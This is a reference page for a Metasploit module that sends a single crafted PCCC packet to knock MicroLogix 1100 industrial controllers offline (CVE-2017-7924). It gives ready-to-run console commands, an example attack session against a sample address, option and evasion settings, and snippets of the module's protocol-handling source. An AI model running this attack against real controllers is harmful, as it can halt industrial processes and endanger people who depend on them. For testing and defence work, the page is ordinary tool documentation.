DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC) - Metasploit


This page contains detailed information about how to use the auxiliary/dos/scada/allen_bradley_pccc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)
Module: auxiliary/dos/scada/allen_bradley_pccc
Source code: modules/auxiliary/dos/scada/allen_bradley_pccc.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 44818
List of CVEs: CVE-2017-7924

A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/scada/allen_bradley_pccc
msf auxiliary(allen_bradley_pccc) > show targets
    ... a list of targets ...
msf auxiliary(allen_bradley_pccc) > set TARGET target-id
msf auxiliary(allen_bradley_pccc) > show options
    ... show and set options ...
msf auxiliary(allen_bradley_pccc) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned.

Verification Steps

  1. Do: use auxiliary/dos/scada/allen_bradley_pccc
  2. Do: set RHOST=IP where IP is the IP address of the target
  3. Do: check verify if target is vulnerable
  4. Do: exploit send DoS packet

Options

  1. PORT: set RPORT=44818

Scenarios

msf > use auxiliary/dos/scada/allen_bradley_pccc 
msf auxiliary(dos/scada/allen_bradley_pccc) > set RHOST 172.27.248.194
RHOST => 172.27.248.194
msf auxiliary(dos/scada/allen_bradley_pccc) > check

[*] 172.27.248.194:44818 - Product Name: 1763-L16BWA B/14.00
[+] 172.27.248.194:44818 - The target is vulnerable.
msf auxiliary(dos/scada/allen_bradley_pccc) > exploit

[*] 172.27.248.194:44818 - Ethernet/IP - Session created (id 0xaf79a666)
[*] 172.27.248.194:44818 - CIP Connection Manager - Forward Open Success (Connection id 0x66a66e85)
[*] 172.27.248.194:44818 - Sending PCCC DoS magic packet...
[*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the dos/scada/allen_bradley_pccc auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/scada/allen_bradley_pccc

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show info

       Name: DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)
     Module: auxiliary/dos/scada/allen_bradley_pccc
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Jos�� Diogo Monteiro <[email protected]>
  Luis Rosa <[email protected]>
  Miguel Borges de Freitas <[email protected]>

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   44818            yes       The target port (TCP)

Description:
  A remote, unauthenticated attacker could send a single, specially 
  crafted Programmable Controller Communication Commands (PCCC) packet 
  to the controller that could potentially cause the controller to 
  enter a DoS condition. MicroLogix 1100 controllers are affected: 
  1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. 
  CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 
  base score of 7.5 has been assigned.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-7924
  https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03
  http://dl.acm.org/citation.cfm?doid=3174776.3174780

Module Options

This is a complete list of options available in the dos/scada/allen_bradley_pccc auxiliary module:

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show options

Module options (auxiliary/dos/scada/allen_bradley_pccc):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   44818            yes       The target port (TCP)

Advanced Options

Here is a complete list of advanced options supported by the dos/scada/allen_bradley_pccc auxiliary module:

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show advanced

Module advanced options (auxiliary/dos/scada/allen_bradley_pccc):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/scada/allen_bradley_pccc module can do:

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/scada/allen_bradley_pccc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/scada/allen_bradley_pccc) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

EtherNet/IP Packet Not Valid

Here is a relevant code snippet related to the "EtherNet/IP Packet Not Valid" error message:

135:	    res = udp_sock.recvfrom(90)
136:	
137:	    disconnect_udp
138:	
139:	    unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"
140:	      print_error "EtherNet/IP Packet Not Valid"
141:	      return Exploit::CheckCode::Unsupported
142:	    end
143:	
144:	    revision = res[0][54,2]
145:	    product_name_len = res[0][62].unpack("c*")[0]

Ethernet/IP - Failed to create session.

Here is a relevant code snippet related to the "Ethernet/IP - Failed to create session." error message:

177:	    connect
178:	    # Register Ethernet/IP session
179:	    sock.put(enip_register_session_pkt)
180:	    enip_register_session_ans = sock.get_once
181:	    unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"
182:	      print_error "Ethernet/IP - Failed to create session."
183:	      disconnect
184:	      return
185:	    end
186:	    enip_session_id = enip_register_session_ans[4, 4]
187:	    print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"

CIP Connection Manager - Failed Forward Open request

Here is a relevant code snippet related to the "CIP Connection Manager - Failed Forward Open request" error message:

188:	
189:	    # Ethernet/IP CCM Forward Open
190:	    sock.put(enip_ccm_forward_open_pkt(enip_session_id))
191:	    enip_ccm_forward_open_ans = sock.get_once
192:	    unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"
193:	      print_error "CIP Connection Manager - Failed Forward Open request"
194:	      disconnect
195:	      return
196:	    end
197:	    cip_connection_id = enip_ccm_forward_open_ans[44, 4]
198:	    print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"

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References

See Also

Check also the following modules related to this module:

Authors

  • José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>
  • Luis Rosa <lmrosa[at]dei.uc.pt>
  • Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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